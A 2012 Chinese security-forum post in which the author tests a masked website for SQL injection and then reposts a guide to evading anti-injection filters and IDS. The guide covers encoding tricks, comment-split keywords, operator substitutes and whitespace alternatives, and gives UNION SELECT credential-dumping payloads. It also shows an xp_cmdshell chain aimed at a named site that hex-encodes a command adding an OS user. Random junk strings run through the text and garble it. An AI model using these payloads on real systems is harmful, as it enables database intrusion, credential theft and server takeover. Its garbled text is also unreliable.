找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2297|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.  R( C  ]& C5 B" e. a1 w
http://www.xxx.cn/Article.asp?ID=117 and 1=1
5 y. M: g7 z& S- w/ B# S直接返回主页
0 O# ^+ G+ z$ F) q: f) d6 f# O7 e, C# thttp://www.xxx.cn/Article.asp?ID=117 or 1=1
$ A$ E# A& L8 ]7 \1 ^& I1 t直接返回主页+ E  y2 Z$ g6 x' S* f, M2 A+ j
http://www.xxx.cn/Article.asp?ID=117 or
0 h0 r' c) Y' M" o3 C, ~; }' T( ^没有返回主页 没有过滤or5 b$ I4 |/ |8 ]- Q% O
http://www.xxx.cn/Article.asp?ID=117 and
4 Q2 i3 _5 A  T$ \  n( }, o直接返回主页 看来过滤了and/ r3 x$ G/ n' T* m8 X4 \# V
http://www.xxx.cn/Article.asp?ID=117 or 1) K8 f! E+ [  ?1 y
没有返回主页 即没有过滤or 也没有过滤1. M# f1 R5 c/ ?( F  w! t
http://www.xxx.cn/Article.asp?ID=117 or 1=1$ j: Q9 O2 p$ k# @/ j+ v. R
直接返回主页 很明显过滤了等号
: q" H: A" [) Y8 Q- i* Por的特性是与and相反的.) T' r+ m1 [( F) o
or 1=1 爆错 或与原页面不同/ G* m6 H3 P, l
or 1=2 原页面相同
6 V& z9 ?1 ?' d5 d. b  |# _% D1 o这样就是一个注入点0 x. ?4 u- p7 f+ [$ ]4 M" q2 M* o; y) l
但他过滤了=号 我就用><号代替=号吧!
* {' I3 o% h2 _$ Kor 1<2 很明显是正确的,所以应该与原页面不同
  b* C1 e2 \0 V8 H# [0 Q; Wor 1>2 很明显是错误的,所以应该与原页面相同
/ \8 w- z# C3 n& ~* a0 k然后看看有没有过滤其他的查询语句,比如select.$ z0 D5 Q# O5 t+ i9 |3 ~
http://www.xxx.cn/Article.asp?ID=117 select
. v8 p( i% k: P6 A- s' t. ^1 u直接返回主页
$ K0 t* T# `# x/ b: r7 V又迷茫了..* C/ q* i( Y/ t* X. ^; W

: ]# l" @+ T* [4 e, c8 Q& g1 n/ B2 M
: B+ U( F5 ^+ b) z) ~" P2 ycookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
3 B; o( ]! [- S+ q' G" I' @. b1 K这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
8 U" g2 O& O; T7 _3 G" F) m3 ?1 i================================================
2 w+ d% Y0 g  S# F0 \/ P以下是转贴:
" m( M( |, {' f  Z7 B; P6 h2 T; r9 x3 G: X6 d
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
; _" N- b- e2 m1 p8 Z1 Y经过我的收集,大部分的防注入程序都过滤了以下关键字: ( |& ~! r2 t* k$ e  i
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
1 s( c  N8 e# Q- g4 \* D而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 % ?* K8 g3 G( f7 q; c; m4 e, F1 q
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
% V( J# _7 U$ r3 Z; m: [- o1、运用编码技术绕过   j' _5 U9 p3 ]; q3 C
如URLEncode编码,ASCII编码绕过。例如or 1=1即
1 T9 u! Z6 H" V& t. h; m%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ! S$ c" q" `0 P
. O0 G% w7 k1 j% H; n
2、通过空格绕过
& a. u8 G! ~: q) _% z5 W如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 1 A4 a" b- V5 |* @
or’ swords’ =‘swords’
' H1 a! o! k# Z3 i,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
# s; S- I% [, a. R2 B& p  W! U3、运用字符串判断代替
8 F' L/ |/ u- i, y5 P用经典的or 1=1判断绕过,如 ) t( L* y% R& Z; h
or ’swords’ =’swords’ ; |2 H9 s$ R  B7 P! j- ]5 ~- z
,这个方法就是网上在讨论的。 / D9 P& G0 V; S- x/ j0 m6 Z
4、通过类型转换修饰符N绕过
2 R6 c, c4 y) f; |$ V4 ?3 Y0 E/ \  e可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
* J1 a3 e- c* `5、通过+号拆解字符串绕过
7 B" D7 u! L) `. I. R/ j效果值得考证,但毕竟是一种方法。如
/ P3 n- A5 U& V' |1 h; d' Zor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 3 m1 ]: U  Y: ?, s

2 t' L# }* Y& W9 y7 u6、通过LIKE绕过 . ^0 z: E1 w) {
以前怎么就没想到呢?如or
, h2 _, v2 |7 E- x# `! G’swords’ LIKE ’sw’ 5 W& N; K0 t' Y) I- U" \
!!!显然可以很轻松的绕过
! E- L4 i/ T, _' i$ u“=”“>” $ D7 H" w2 ?# g/ L9 h$ q- p
的限制……
) v" L6 T. a% A- r' ~+ l$ Y7、通过IN绕过 + V5 ]& w/ `# f0 T# T( ]
与上面的LIKE的思路差不多,如
( e/ W4 s2 V9 E4 y7 c& lor ’swords’ IN (’swords’) / F; _5 }: i1 ^. @
3 a# m2 A. ]: E9 G; q7 O
8、通过BETWEEN绕过
1 W. h/ @* `$ N8 D& c2 ]
' m+ ]$ S: N* h7 V9 m% F- Hor ’swords’ BETWEEN ’rw’ AND ’tw’
( N* Q0 H- b0 _8 x; W" l) x% X" a! U9 z# f8 g% K
9、通过>或者<绕过
' d% A: {1 L( }' U+ zor ’swords’ > ’sw’ * m# v5 E4 S0 z! B7 H
or ’swords’ < ’tw’ : X) P% C) C* t
or 1<3
0 i0 N6 Z$ N9 n: f……
" d8 u7 n9 }1 b( @10、运用注释语句绕过 ' \- d! q5 x* }7 @, A; y2 G/ S
用/**/代替空格,如:   V9 |1 S6 r% Q/ w
UNION /**/ Select /**/user,pwd,from tbluser
3 h) K7 e# E: F8 A
! A8 G/ K, ~+ ]* N5 c7 m. ~. n0 K( z用/**/分割敏感词,如: . o. v* |) y3 h3 r# b) h
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser ! r  @# d5 X* j: r$ E: U3 @6 P" Q

$ L/ @; J0 x4 S8 J5 Z2 q& j- j5 [11、用HEX绕过,一般的IDS都无法检测出来 + W# a2 l: H2 V8 s
0x730079007300610064006D0069006E00 =hex(sysadmin)
3 I, F' G& k$ Y2 K0 a* M/ B4 R4 ~0x640062005F006F0077006E0065007200 =hex(db_owner) : U, i8 O5 b# v0 f7 z# j; T6 {
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
& ?% k- T9 L  q( C: E  R  declare @a sysname
$ c( D4 c, O+ |. @* Q8 n& P" h  select @a=
/ `1 J- o3 z4 A' p0 j  exec master.dbo.xp_cmdshell @a 8 I( f, L) R0 S' p# z+ o
效果 6 h* l1 ^! l! k! ^1 X$ D. A/ v6 O
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ) E$ M4 I$ O& n. ~! r" k

1 R$ U5 [/ u5 c其中的 ' I( G" _8 m$ P6 E% z4 g; m
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
2 F1 h$ e/ A+ q+ [) L就是
/ G5 }4 Z$ H0 T! h0 p2 x“net user angel pass /add”
6 @8 x3 d* J  L  @, @6 O4 v# K* X& f$ w  q2 T1 @& g8 m- \5 j
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。, }: g* ^$ J6 o/ B" i
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。* q/ P& H/ G* i* |. g( a
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
9 A. Q1 |8 N& H$ ~Copy code
4 e2 a4 P+ n* k' h. L  wselect * from table exec xp_cmdshell'xxxxxxxxxx'
) c$ A$ n1 O. E: U7 b# D8 s7 S* N' i9 C' ~% t
9 L8 J. M. u% i+ ?% h( I, N8 q
select * from table/**/exec xp_cmdshell'xxxxxxxxxx', r' k( u" Q1 s8 _( Y" [. a
! U* d. }( F$ i% h1 P

6 B% n: H5 W' N. d( ?6 [# w6 F* @% Fselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'* }/ t$ Q# _; ]

# j- d, ^+ A6 v8 Q8 \4 d6 P
9 m7 V4 \9 K& n% n3 U+ _select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
; _% O/ v& U0 Z0 ]* J$ ^8 i5 Z4 b, R/ M$ V, J+ Q+ U! J0 d/ u0 i
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
: o/ ~2 N& a3 V) k' j1 {- S, P; @2 L; K' h; z8 ^' F& o! n/ ~
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了) L1 u" |) @5 A+ u, Y
可能大家早就知道了,不管怎么说,发在这里吧!
+ @) \$ o0 {* n) j' h5 s& @; U) Q" ?: l( k
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。/ Q$ }9 z! C0 T2 G' A. m: d
+ p" e- X/ }" Q

- C: n. d( {( Q6 A9 l+ k" O* U7 G/ A
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
6 h( g; F* y5 E  s比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 5 s6 Y" w3 W6 V' u

4 i: I7 V1 A2 q1 M2 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表